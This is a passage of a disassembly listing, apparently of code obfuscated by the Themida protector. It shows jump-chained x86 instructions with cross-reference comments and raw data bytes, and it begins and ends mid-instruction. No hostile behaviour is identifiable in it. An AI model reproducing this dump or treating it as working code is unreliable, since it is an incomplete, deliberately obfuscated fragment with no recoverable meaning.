ebx, 6 push esi mov esi, 574968DBh dec esi add esi, 0DDD3D462h sub ebx, esi pop esi neg ebx or ebx, 7D333F36h inc ebx push ebp mov ebp, 47DAA1A4h xor ebx, ebp mov ebp, [esp] jmp loc_5550C2 ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 0E9810000h, 706D2E94h, 0FF501EE9h, 243C89FFh, 0FC3D6BBFh dd 5FFB8950h, 3C299BFh, 0E9DF01AFh, 0FFFF651Fh, 8124048Fh dd 42404h, 1EE90000h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EFD3: ; CODE XREF: Themida_:00554BB7j add edx, 4 jmp loc_55F990 ; --------------------------------------------------------------------------- db 1 dd 240C8BCDh, 4C481h, 0E9520000h, 0FFFF68E2h, 243C8B54h dd 4C481h, 0ADE90000h, 5CFFFF1Fh, 4C581h, 0C5810000h, 4 dd 4FAE68h, 242C8900h, 42474FFh, 0E92434FFh, 0FFFFBF41h dd 240C8B66h, 57E08950h, 0FFB6FAE9h, 0EC8158FFh, 4, 54243489h dd 8B2434FFh, 0C4812434h, 4, 6D2768h, 240C8900h, 0C181E189h dd 4, 4C181h, 0C870000h, 34685C24h, 0E900002Bh, 0FFFF58EEh dd 48BFBD55h, 50534508h, 0DE5DE4B8h, 420BB1Ah, 0C30142BAh dd 3C38158h, 4B025C2Fh, 500EB951h, 0CB01D6E2h, 8BDD2959h dd 0C483241Ch, 51685704h, 5F053453h, 3C8BFA29h, 4C48124h dd 0E9000000h, 371Ch, 0E3C38166h, 0B866505Eh, 52666334h dd 0BA66h, 66C22966h, 665A6692h, 2DB96651h, 0C831665Bh dd 3DE95966h, 0E9FFFFECh, 0FFFEECF1h, 4EAC142h, 8104E2C1h dd 4A044F2h, 5AD501A4h, 8704ED83h, 895C242Ch, 0B9512414h dd 4, 159CA89h, 4055AD0h, 87000000h, 0E95C2404h, 0FFFEECBDh ; --------------------------------------------------------------------------- loc_55F108: ; CODE XREF: Themida_:0055EDF3j xor ecx, 0B5FF92F7h sub ebx, ecx pop ecx sub esp, 4 mov [esp], ebx sub dword ptr [esp], 3348027Fh pop edx add edx, 3348027Fh pop ebx sub esp, 4 mov [esp], edx push eax mov eax, 37056D56h xor [esp+4], eax jmp loc_55C202 ; --------------------------------------------------------------------------- loc_55F13E: ; CODE XREF: Themida_:0055779Cj mov edx, esi pop esi shl edx, 5 add edx, 0A715320h mov ebp, edx pop edx mov eax, ebp pop ebp add eax, 0C63EEDE4h add edi, eax pop eax add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp pop dword ptr [esp] pop esp mov [esp], eax mov eax, 80h and ecx, eax jmp loc_55AAE7 ; --------------------------------------------------------------------------- dd 10E18149h, 81427004h, 0DC11BBF1h, 8190E923h, 0E95CFFFFh dd 0FFFF88B0h ; --------------------------------------------------------------------------- loc_55F190: ; CODE XREF: Themida_:0055CC21j add edi, 2E4E126Eh mov eax, [esp] add esp, 4 jmp loc_562644 ; --------------------------------------------------------------------------- db 53h, 0B7h, 0F3h dd 0EF80D7F6h, 3EFC001h, 0C0E9D7F6h, 81FFFFE2h, 0C1760EF6h dd 243C8B71h, 4C481h, 982D0000h, 2932AB6Bh, 0F2BD55F0h dd 0E96F9767h, 0FFFFB436h, 6EFC15Fh, 78CE9h db 0 ; --------------------------------------------------------------------------- loc_55F1DD: ; CODE XREF: Themida_:00553F98j xor ebx, 1A13D28h sub ebx, 0E39E7B9Bh add ebp, ebx mov ebx, [esp] add esp, 4 xor eax, ebp pop ebp xor eax, 0EA49C4B8h xor ecx, eax pop eax push 3737h mov [esp], esi push 2348h jmp loc_550F93 ; --------------------------------------------------------------------------- dw 0C581h dd 4, 4C581h, 2C870000h, 0C7815C24h, 2, 11A0E9h, 0BFBBBF00h dd 0D5E9FE44h, 0BFFFFF5Eh, 78A72185h, 0DFF7EFD1h, 43FDE781h dd 0CF813E3Fh, 3B8117A9h, 5C45CF81h, 0C78166C5h, 879B0D33h dd 815FF901h, 0E90BCFE9h, 2434FF47h, 0D061E95Dh, 5AE9FFFFh dd 0C1FFFEEBh, 0EB8103EBh, 0B38F40C3h, 0FF5869E9h, 0EC7735FFh dd 0E3E93D73h, 81FFFF58h, 4C4h, 487EE900h, 74FFFFFFh, 0AFE90424h dd 0B8FFFF88h, 3B3D3975h, 1325FA05h, 0F8B1E941h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F2A6: ; CODE XREF: Themida_:00559CC6j pop edx loc_55F2A7: ; CODE XREF: Themida_:0055040Fj push 7579h mov [esp], ebx push dword ptr [esp] pop eax push ebp push esp mov ebp, [esp] push esi mov esi, esp add esi, 4 push ecx mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp] pop esp push edx jmp loc_5571E3 ; --------------------------------------------------------------------------- loc_55F2D4: ; CODE XREF: Themida_:0054F522j add eax, ecx add eax, 3FC76240h jmp loc_560A56 ; --------------------------------------------------------------------------- dd 772B68h, 24148900h, 0F30020BAh, 0D3E9E931h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F2F2: ; CODE XREF: Themida_:00561835j sub ebp, 763F5Bh xor ebp, 4141F813h sub ebx, ebp jmp loc_559907 ; --------------------------------------------------------------------------- db 2Ch, 6Fh, 2Ch dd 28F02C6Ch, 0B15166E8h, 66C800F0h, 0D126E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F31A: ; CODE XREF: Themida_:0054E292j mov edi, 23A25114h xor edi, 23A25110h add ebp, 6D112138h jmp loc_55CC0B ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFF634Fh, 7F886851h, 86E93272h db 21h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F343: ; CODE XREF: Themida_:005531B6j sub eax, ebx pop ebx sub eax, ecx jmp loc_557782 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0C2815A54h, 4, 8704C283h, 0FF5C2414h, 815A2434h, 4C4h dd 8BE83000h, 5668240Ch, 8900006Bh, 0B6E92404h, 89FFFF77h dd 0E589242Ch, 12BA5250h, 0C153C11Ch, 0D2F702EAh, 4D47E281h dd 0F2811EEBh, 0A0B0847h, 0E95AD089h, 0FFFFACFCh, 0E904EC83h dd 0FFFF0E44h, 67E68146h, 514F4926h, 0D41D3AB9h, 0E9CE3114h dd 1A15h, 0C8BCB89h, 4C48124h, 81000000h, 120299EBh, 39C38101h dd 0E9037351h, 0FFFF632Fh, 405h, 4EC8300h, 0FF2E80E9h dd 5AD121FFh, 7CEAF181h, 55E95C4Ah db 0F5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55F3F3: ; CODE XREF: Themida_:00560456j mov edx, ebp pop ebp jmp loc_550D46 ; --------------------------------------------------------------------------- db 68h dd 3162h, 0E65E9h, 0C1DFF700h, 0C78102E7h, 31498068h, 0C15FFE01h dd 0EBE903E6h, 66FFFF87h, 0BF665752h, 816627B5h, 661F92CFh dd 3EE9DFF7h, 68FFFF53h, 4A9Ah, 0BA241489h, 0E35712A6h dd 815AD331h, 0C3C26C2h, 81DA293Ah, 0C3C26EAh, 0F2815B3Ah dd 0D358993Eh, 4BEFBB53h, 0DE291795h, 5B2434FFh, 4C481h dd 0D6010000h, 7512BA52h, 0F281290Ch, 7B7F3CDAh, 240CFF52h dd 0D8EA815Ah, 13ADDFDh, 2064E9D6h, 0ED81FFFFh, 4F1D7673h dd 0ACE9C501h, 81FFFFFAh, 67E644C2h, 63F281BEh, 8143441Dh dd 0A1378CEAh, 0D1C68145h, 1000C32h, 0D1EE81D6h, 8B000C32h dd 0C4832414h, 0BB535004h, 4, 295BD889h, 348758C6h, 5B10E924h dd 0E95BFFFFh, 0FFFF9032h, 8904EC83h, 5FB82404h, 2936962Fh dd 0F58158C5h, 7DC24470h, 7D40C581h, 0E956480Bh, 0FFFF3D64h dd 8B240433h, 0F9F72424h, 8904EC83h, 8AE92434h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F507: ; CODE XREF: Themida_:005536F5j push ebp mov ebp, 4 add ebx, ebp pop ebp push ebp push eax mov eax, 2 mov ebp, eax pop eax sub ebx, ebp pop ebp xchg ebx, [esp] mov esp, [esp] jmp loc_5628BA ; --------------------------------------------------------------------------- dd 0FF24248Bh, 0C8B2434h, 0F7E95624h, 0BEFFFF4Eh, 25537047h dd 8AE94E46h, 81FFFF0Ah, 5E624DEBh, 4E3C176h, 0A1ECEB81h dd 0DE298416h, 2434875Bh, 241C895Ch, 0B850E389h, 40C27541h dd 0C60DD0F7h, 0D5A7353h, 9F601A1h, 0DBFA3548h, 0C301FFFFh dd 8124048Bh, 4C4h, 0F46FE900h, 0F181FFFFh, 421800Ch, 7CE9CF89h dd 1FFFFF3h, 0DC805C8h, 5559096Fh, 0C1C6852h, 38E96532h dd 81FFFF7Bh, 4EFh, 74FF5700h, 8F5F0424h, 248B2404h, 243C8924h dd 0A4E9E789h, 0BB000030h, 73D71D2h, 4199CB81h, 0E9431511h dd 0FFFFCA4Eh, 0E95AD001h, 0FFFF95E6h, 905D9A2Dh, 2434FF52h dd 4C4815Bh, 0E9000000h, 0FFFFC737h, 1F86E94Fh, 61BD0000h dd 2965C854h, 0E4DFE9EEh, 3C8BFFFFh, 0D2E6E924h, 0B6E9FFFFh dd 0D0FFFEE7h, 58C180E9h, 0FF7359E9h, 405FFh, 4330000h dd 24043124h, 0FF99F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F629: ; CODE XREF: Themida_:00561AD7j add ebx, 0EB0F8916h add ebp, ebx pop ebx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ecx mov ch, 0A1h mov bh, 65h xor bh, ch jmp loc_552B27 ; --------------------------------------------------------------------------- db 81h dd 0DA5C9EEAh, 0E53E91Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F656: ; CODE XREF: Themida_:005621A9j mov ebx, 3D234537h add ebx, 39F1F251h add ebp, 41C442FDh jmp loc_55C057 ; --------------------------------------------------------------------------- dd 0DC8FC781h, 0EA81FEC4h, 352F75A1h, 0C281FA01h, 352F75A1h dd 0E482E95Fh, 575CFFFFh, 0FF8A93E9h, 1F6858FFh, 89000029h dd 0E6E92414h, 68FFFFC0h, 7F7h, 0FF243489h, 8B042474h dd 0C4812434h, 4, 5C24048Fh, 9C240431h, 0FEE708E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F6BD: ; CODE XREF: Themida_:0054FD8Fj mov esi, ebx pop ebx sub eax, esi mov esi, [esp] add esp, 4 push eax pop ecx pop eax sub dword ptr [esp+4], 530727BBh sub [esp+4], ecx add dword ptr [esp+4], 530727BBh pop ecx mov ecx, [esp] sub esp, 4 mov [esp], edi push esp pop edi push ebp mov ebp, 4 add edi, ebp pop ebp add edi, 4 xchg edi, [esp] mov esp, [esp] push 138Fh mov [esp], esi mov esi, 71439E8h jmp loc_561D44 ; --------------------------------------------------------------------------- dd 24048B66h, 0FEE722E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F721: ; CODE XREF: Themida_:0055B8F8j xor al, 13h shr al, 3 jmp loc_54E281 ; --------------------------------------------------------------------------- db 29h dd 0F0E95EF0h, 81FFFF3Eh, 507AD8E9h, 0E833E961h, 0F587FFFFh dd 0FF8F87E9h, 34FF59FFh, 240C8B24h, 4C481h, 0C4810000h dd 4, 2CBE5651h, 0E91F5078h, 296Fh, 0B6DAE958h, 1487FFFFh dd 8F545C24h, 4812404h, 424h, 0F88BE900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55F77E: ; CODE XREF: Themida_:00555E2Bj mov [esp], esi mov esi, 4 jmp loc_555A68 ; --------------------------------------------------------------------------- loc_55F78B: ; CODE XREF: Themida_:00560A6Dj push eax mov eax, 4 add ebp, eax jmp loc_559842 ; --------------------------------------------------------------------------- dd 0F7B8E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F79E: ; CODE XREF: Themida_:00556C76j mov esi, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] loc_55F7B0: ; CODE XREF: Themida_:00551059j ; Themida_:0055DE95j push dword ptr [esp] mov ebx, [esp] add esp, 4 push esi sub esp, 4 jmp loc_5553AA ; --------------------------------------------------------------------------- loc_55F7C8: ; CODE XREF: Themida_:00557B01j sub dword ptr [esp+4], 70BA4339h jmp loc_54E5F3 ; --------------------------------------------------------------------------- loc_55F7D5: ; CODE XREF: Themida_:00561577j mov bl, 0FAh mov dl, bl pop ebx mov ah, dl pop edx jmp loc_55E3FF ; --------------------------------------------------------------------------- loc_55F7E2: ; CODE XREF: Themida_:005624F2j and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or eax, eax jz loc_55DF29 push dword ptr [edi+1Ch] jmp loc_5587A3 ; --------------------------------------------------------------------------- db 31h dd 14332414h, 24248B24h, 0FEE5BCE9h, 4BAFFh, 0E9810000h dd 4E9E0477h, 30C4C181h, 0DE9267Fh, 83FFFF17h, 506604C4h dd 0E5286AB4h, 68665866h, 89665CD3h, 81E92404h, 81FFFEE9h dd 0E91A6FC3h, 0D4E3815Dh, 812A483Fh, 0C3547DCBh, 81E3D153h dd 120E6FF3h, 0E9D801E7h, 0FFFF7E11h, 4C781h, 0C7830000h dd 243C8704h, 2444815Ch, 0E2404004h, 4815D31h, 0BE39B124h dd 242C811Dh, 1936744Ch, 0E9240429h, 0FFFF7B21h ; --------------------------------------------------------------------------- loc_55F884: ; CODE XREF: Themida_:00561BA1j push esp push dword ptr [esp] pop esi jmp loc_55619D ; --------------------------------------------------------------------------- dw 0ECC0h dd 1E9AE906h, 2AE90000h db 0E5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55F89B: ; CODE XREF: Themida_:0055D1BCj add ecx, 0BBD313Ch pop ebx push ebx jmp loc_55DBCC ; --------------------------------------------------------------------------- dd 8B2434FFh, 1768240Ch, 0E900007Bh, 0FFFFF372h, 10C1C381h dd 34FF4D9Bh, 24048B24h, 4C481h, 0C4830000h, 1EC16804h dd 1E90000h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F8D7: ; CODE XREF: Themida_:0055646Ej mov [esp], ebp mov ebp, 4 and ecx, ebp jmp loc_55936F ; --------------------------------------------------------------------------- dw 15Fh dd 8104246Ch, 9704246Ch, 0E9185762h, 0FFFF4C31h, 0C55C181h dd 0CB21DD3Dh, 0FF2A9CE9h, 391E68FFh, 3C890000h, 9D9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F912: ; CODE XREF: Themida_:00560AF8j add ecx, 44A83450h jmp loc_561AB8 ; --------------------------------------------------------------------------- db 0BAh, 1Dh, 1Bh dd 0E94A0FCBh, 0FFFEF5F7h ; --------------------------------------------------------------------------- loc_55F928: ; CODE XREF: Themida_:0055D97Dj mov ebp, 40BA1F91h dec ebp sub ebp, 730510FEh and ebp, 14FD6F7Fh dec ebp jmp loc_556473 ; --------------------------------------------------------------------------- dd 4055854h, 55000000h, 0FF7D30E9h, 0C8B66FFh, 5F545724h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_551C96 ; --------------------------------------------------------------------------- db 68h, 0B0h, 7Eh dd 4890000h, 4EC8324h, 0FF346CE9h, 24248BFFh, 0FFC7C0E9h dd 87D7F7FFh, 9B6857FEh, 0E954961Bh, 0FFFF2F75h ; --------------------------------------------------------------------------- loc_55F990: ; CODE XREF: Themida_:0055EFD6j xchg edx, [esp] pop esp jmp loc_5615E4 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 68E68956h, 3A1Fh, 0B9240C89h, 28233F0Fh, 0F703E1C1h dd 6E9C1D9h, 1C181h, 0AEE90000h, 5AFFFF51h, 2C8BE901h dd 0B450E924h, 248BFFFFh, 0E3F3E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55F9D2: ; CODE XREF: Themida_:00553E13j pop ebx pop eax push eax mov eax, esp add eax, 4 jmp loc_55B7E8 ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 0FF24248Bh, 50592434h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_560885 ; --------------------------------------------------------------------------- db 5Ah, 56h, 55h dd 744A9E68h, 3872E92Dh, 0DA00FFFFh, 0E90DC280h, 1D09h dd 4B850h, 0C6890000h, 5EF50158h, 0FFF2FCE9h, 6161BEFFh dd 0CFE92394h db 3Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA33: ; CODE XREF: Themida_:00558392j mov [esp], edx mov edx, esp push 5C5Ch mov [esp], ebp jmp loc_55E298 ; --------------------------------------------------------------------------- db 81h, 0F5h, 1Ah dd 81543D74h, 980102EAh, 0E658E96Ah, 4481FFFFh, 4CDE0424h dd 0DFE912C6h db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA63: ; CODE XREF: Themida_:0054E5E4j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5565BD ; --------------------------------------------------------------------------- db 59h, 1, 0C5h dd 0FF3A27E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FA7D: ; CODE XREF: Themida_:00555667j add edx, 4 add edx, 4 xchg edx, [esp] pop esp shl ecx, 4 shl ecx, 3 jmp loc_554AA7 ; --------------------------------------------------------------------------- loc_55FA95: ; CODE XREF: Themida_:0055761Aj sub edi, 59AF4A7Fh or edi, 2A170DFCh jmp loc_55C3AC ; --------------------------------------------------------------------------- dw 248Bh dd 148B6624h, 14685324h, 54000074h, 2766E9h db 0 ; --------------------------------------------------------------------------- loc_55FAB9: ; CODE XREF: Themida_:0055E1B7j add ecx, 0E799E170h sub eax, ecx pop ecx push ebp jmp loc_5608E2 ; --------------------------------------------------------------------------- dd 7422E781h, 0F7814DB9h, 0D57B0150h, 315FFB31h, 0B8505BDDh dd 31E24040h, 0FFAE49E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FAE5: ; CODE XREF: Themida_:0055FE30j mov edx, 0AF764F5h add ecx, edx jmp loc_55120A ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0B761968h, 0EA815A68h, 66A0609Eh, 0BD55D2F7h, 68F87C51h dd 0FF0BB9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FB0D: ; CODE XREF: Themida_:0055CE8Bj sub esp, 4 jmp loc_55D95B ; --------------------------------------------------------------------------- dd 1A4B2D95h, 572D03ADh, 0E9655A6Ch, 0FFFFB76Bh ; --------------------------------------------------------------------------- loc_55FB28: ; CODE XREF: Themida_:0055B617j push ecx jmp loc_56242A ; --------------------------------------------------------------------------- loc_55FB2E: ; CODE XREF: Themida_:0054ECE5j push 0D98h jmp loc_55ADAE ; --------------------------------------------------------------------------- dd 8B24048Fh, 0F7662424h, 476B68F1h, 2EE90000h, 0FF000005h dd 348B2434h, 4C48324h, 0A6A1E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB5A: ; CODE XREF: Themida_:00551A14j push 0ABCh jmp loc_55B5A9 ; --------------------------------------------------------------------------- loc_55FB64: ; CODE XREF: Themida_:00553AFBj add esp, 4 jmp loc_55249F ; --------------------------------------------------------------------------- loc_55FB6C: ; CODE XREF: Themida_:0055B0A6j or esi, ebx pop ebx jmp loc_5587F4 ; --------------------------------------------------------------------------- dd 348BF389h, 4C48324h, 55FDC181h, 0E98115BAh, 38A36426h dd 15E9D901h, 52FFFF55h, 0B03CA6BAh, 8E2C13Dh, 3BF28142h dd 531F6576h, 193B17BBh, 0E080E970h, 2C89FFFFh, 0E9CD8924h dd 1028h ; --------------------------------------------------------------------------- loc_55FBB4: ; CODE XREF: Themida_:00556C23j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_55D667 ; --------------------------------------------------------------------------- dd 66C0B60Fh, 5324148Bh, 0BBDBE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FBD6: ; CODE XREF: Themida_:0055B918j mov ebp, 4 mov ecx, ebp jmp loc_560774 ; --------------------------------------------------------------------------- dw 4BEh dd 56000000h, 5EB26852h, 4A5A7EB0h, 89C28142h, 0E94A631Dh dd 0FFFF51ADh, 4C6815Eh, 55000000h, 4BDh, 5DEE0100h, 5C243487h dd 0FF2421E9h, 0ECC681FFh, 810B1A11h, 8725E4C6h, 14EFE907h dd 815D0000h, 574F02C3h, 40EB8116h, 1352074h, 251E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FC3A: ; CODE XREF: Themida_:0055A929j shl eax, 6 sub eax, 5DDE30CBh add eax, 0B0C7EA4Bh mov ecx, eax mov eax, [esp] add esp, 4 add eax, ecx mov ecx, [esp] add esp, 4 and ecx, eax pop eax shr ecx, 0Bh push 5D72h loc_55FC68: ; DATA XREF: Themida_:00551D5Bo mov [esp], ebx push dword ptr [esp] pop eax push 3FECh mov [esp], ebp push edx mov edx, esp jmp loc_5571C9 ; --------------------------------------------------------------------------- db 0ACh dd 0EC81D830h, 4, 0FF1F32E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FC8D: ; CODE XREF: Themida_:00561973j push 13B4h mov [esp], eax mov eax, 41465ECEh neg eax jmp loc_559074 ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 33241C31h, 3FE9241Ch, 68FFFFCDh, 2AE15CF9h, 0FF8B17E9h dd 54F468FFh, 815D0D42h, 0F77CE7F5h, 7EED816Dh, 29F8F40Fh dd 685B5DE8h, 16C2h, 55243C89h, 7685B951h, 814153C6h, 0D2253DC1h dd 6C3AE90Bh, 34FFFFFFh, 240C8B24h, 4C481h, 81570000h dd 4ECh, 24248900h, 4240481h, 5F000000h, 4BB53h, 0DF010000h dd 0F891E95Bh, 0C380FFFFh, 5EBC0FFh, 45E95166h, 4FFFFC7h dd 2CD828EEh, 1A3FE9EEh, 840F0000h, 0FFFFB4CBh, 1FD2E951h dd 54510000h, 2CBE5659h, 8124BC05h, 176FA0CEh, 0F7D6F75Fh dd 0DBB1E9D6h, 99BDFFFFh, 57011202h, 5A4326BFh, 2D39E947h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FD62: ; CODE XREF: Themida_:00560EB4j mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 jmp loc_54E6D4 ; --------------------------------------------------------------------------- db 0FFh dd 815D2434h, 4C4h, 5DEA0100h, 2474FF52h, 0C9D4E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FD8E: ; CODE XREF: Themida_:005529A1j add eax, 4 push ebx mov ebx, esp jmp loc_550866 ; --------------------------------------------------------------------------- loc_55FD9B: ; CODE XREF: Themida_:0055B259j add edx, 4 jmp loc_55E8B3 ; --------------------------------------------------------------------------- dw 0BB53h dd 2FF718Dh, 0FF16ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FDB1: ; CODE XREF: Themida_:0055D25Ej mov [esp], ebx mov eax, [esp] add esp, 4 jmp loc_554E5C ; --------------------------------------------------------------------------- dw 0FEE9h db 0DFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55FDC7: ; CODE XREF: Themida_:00556787j pop edx push esi mov esi, 5825342Fh not esi or esi, 6C5F183Ch push ecx jmp loc_54F4B6 ; --------------------------------------------------------------------------- loc_55FDDC: ; CODE XREF: Themida_:005508E9j add edx, 1FFB4106h push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5516DF ; --------------------------------------------------------------------------- dw 158h dd 59C281F2h, 5E34165Eh, 0E904EC83h, 298Ch ; --------------------------------------------------------------------------- loc_55FE0C: ; CODE XREF: Themida_:0055B54Fj add edi, 426D50ECh push ebp mov ebp, edi mov ebx, ebp jmp loc_556B9C ; --------------------------------------------------------------------------- dd 12E9E789h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FE23: ; CODE XREF: Themida_:0055D715j shl ecx, 5 and ecx, 161B1E03h shl ecx, 5 push edx jmp loc_55FAE5 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 762768h, 24048900h, 0E688CC88h, 0F4885058h, 0FF58E388h dd 815A2434h, 4C4h, 59D8E900h, 8157FFFFh, 4ECh, 24148900h dd 0FF1072E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FE69: ; CODE XREF: Themida_:00558708j sub [esp+8], edi push dword ptr [esp] pop edi add esp, 4 add [esp+4], ebx add dword ptr [esp+4], 778979E0h jmp loc_55B63C ; --------------------------------------------------------------------------- dd 24048B66h, 0FF9CADE9h, 4BF581FFh, 812E043Eh, 0FF2A7BEAh dd 0E9EA2916h, 0FFFF9691h, 4BDA6853h, 0C15B7EF8h, 0F38105EBh dd 3F7C25Ch, 67E9DD89h, 0FFFFFFD9h, 0E9592434h, 0FFFF3D14h dd 68D830ACh, 940h, 0E9241C89h, 13D6h, 8F24248Bh, 0DE92404h db 44h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FEDF: ; CODE XREF: Themida_:0055098Cj push dword ptr [esp] pop esi push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp] pop esp push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_562132 ; --------------------------------------------------------------------------- dw 0DFBAh dd 573E0362h, 945D7FBFh, 0D3F78178h, 0E94C0D0Ah, 0FFFF48DBh dd 58E288h, 148B66D0h, 2C48124h, 53000000h, 0F8002CB7h dd 20BDE95Bh, 9BEFFFFh, 461CD116h, 1606EE81h, 0E4E91CD1h dd 0FFFFFF76h, 0CBE92434h db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FF57: ; CODE XREF: Themida_:00551818j mov ebx, 13F63ED2h jmp loc_557E1B ; --------------------------------------------------------------------------- loc_55FF61: ; CODE XREF: Themida_:0056133Fj sub eax, 3B920674h mov edi, [esp] add esp, 4 push 6131h mov [esp], eax jmp loc_552EB5 ; --------------------------------------------------------------------------- dd 0C3815B54h, 4, 0FFCCEDE9h, 240C87FFh, 6624248Bh, 9C240421h dd 0FEDE2CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FF99: ; CODE XREF: Themida_:0055141Fj mov [esp], ebx push esi jmp loc_551304 ; --------------------------------------------------------------------------- dw 2F68h dd 89000011h, 0CFE92404h, 0B0000010h, 2CB5515Ch, 0FF1E95E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FFB9: ; CODE XREF: Themida_:00556358j push 28175F7Bh pop eax shr eax, 6 add eax, 0FF5FA287h mov esi, eax pop eax add edi, esi pop esi sub edi, 4 xchg edi, [esp] jmp loc_55CA69 ; --------------------------------------------------------------------------- loc_55FFDB: ; CODE XREF: Themida_:0054ED4Ej push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 0D08h mov [esp], eax jmp loc_54DDC5 ; --------------------------------------------------------------------------- db 51h dd 0D9F626B1h, 0D02FE180h, 4EC83E9h, 0B4240489h, 0EF48079h dd 0E3B353h, 241C8BDCh, 4C481h, 0E1280000h, 6EC78058h dd 2807E9h, 2434FF00h, 8124048Bh, 4C4h, 4C48300h, 4EC81h dd 34890000h, 815E5424h, 4ECh, 0E6F9E900h, 685CFFFEh, 11A2h dd 56240C89h, 200EBD68h, 0E6C15E71h, 24C68105h, 523DCC71h dd 0D189F289h, 0BE565E5Ah, 72808981h, 0FF078FE9h, 240489FFh dd 2434FF54h, 4C48358h, 4BE56h, 90E90000h, 8BFFFF0Ch, 14892424h dd 0E99C5024h, 0FFFEDD29h ; --------------------------------------------------------------------------- loc_56009C: ; CODE XREF: Themida_:00551DB9j mov eax, 6E590FCCh push 6EB1h mov [esp], eax pop edx jmp loc_55841F ; --------------------------------------------------------------------------- db 68h dd 4A7D2380h, 0E9F3815Bh, 43072C56h, 0B10E9h, 58C20100h dd 7D3BEA81h, 0EC812CC2h, 4, 0FF52CDE9h, 243C31FFh, 5C243C33h dd 0EC815352h, 4, 22F2E9h, 24348900h, 4B951h, 0CE890000h dd 83240C8Bh, 0E0E904C4h, 66FFFF45h, 5A66D701h, 5FFA8966h dd 66D02966h, 5A05665Ah, 0A273E927h, 0E958FFFFh, 321h dd 0DC70FF05h, 2434FF43h, 4C4835Ah, 8904EC83h, 2BB241Ch dd 1000000h, 4335BD8h, 24043124h, 0E9240433h, 0FFFF26EFh dd 0E9240489h, 0FFFF3299h, 8104EFC1h, 0FFFFFFEFh, 0C8EF81FFh dd 99FB03Bh, 0AE97E9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560162: ; CODE XREF: Themida_:005527CAj pop ebp pop dword ptr [esp] pop esp xor ecx, edx mov edx, [esp] add esp, 4 sub ecx, 4620257Eh jmp loc_560A9D ; --------------------------------------------------------------------------- db 0E9h, 43h, 0DCh dd 515CFFFEh, 6CE9E189h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56018B: ; CODE XREF: Themida_:00552E42j add ebx, eax pop eax push edi mov edi, 4 sub ebx, edi mov edi, [esp] add esp, 4 jmp loc_555470 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 2637BD55h, 6C81108Ch, 4260424h, 0DAE92573h, 81FFFF80h dd 4C2h, 24148700h, 0B652665Ch, 52506678h, 5266D0B6h, 12454F6h dd 1F8BE9h, 24148900h, 8809B353h, 0D6E8E9DAh, 0E95DFFFFh dd 0FFFEF8F3h, 0DF0E33B9h, 20D2E970h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5601F2: ; CODE XREF: Themida_:005539FDj pop eax sub edx, 79CC6AAFh sub 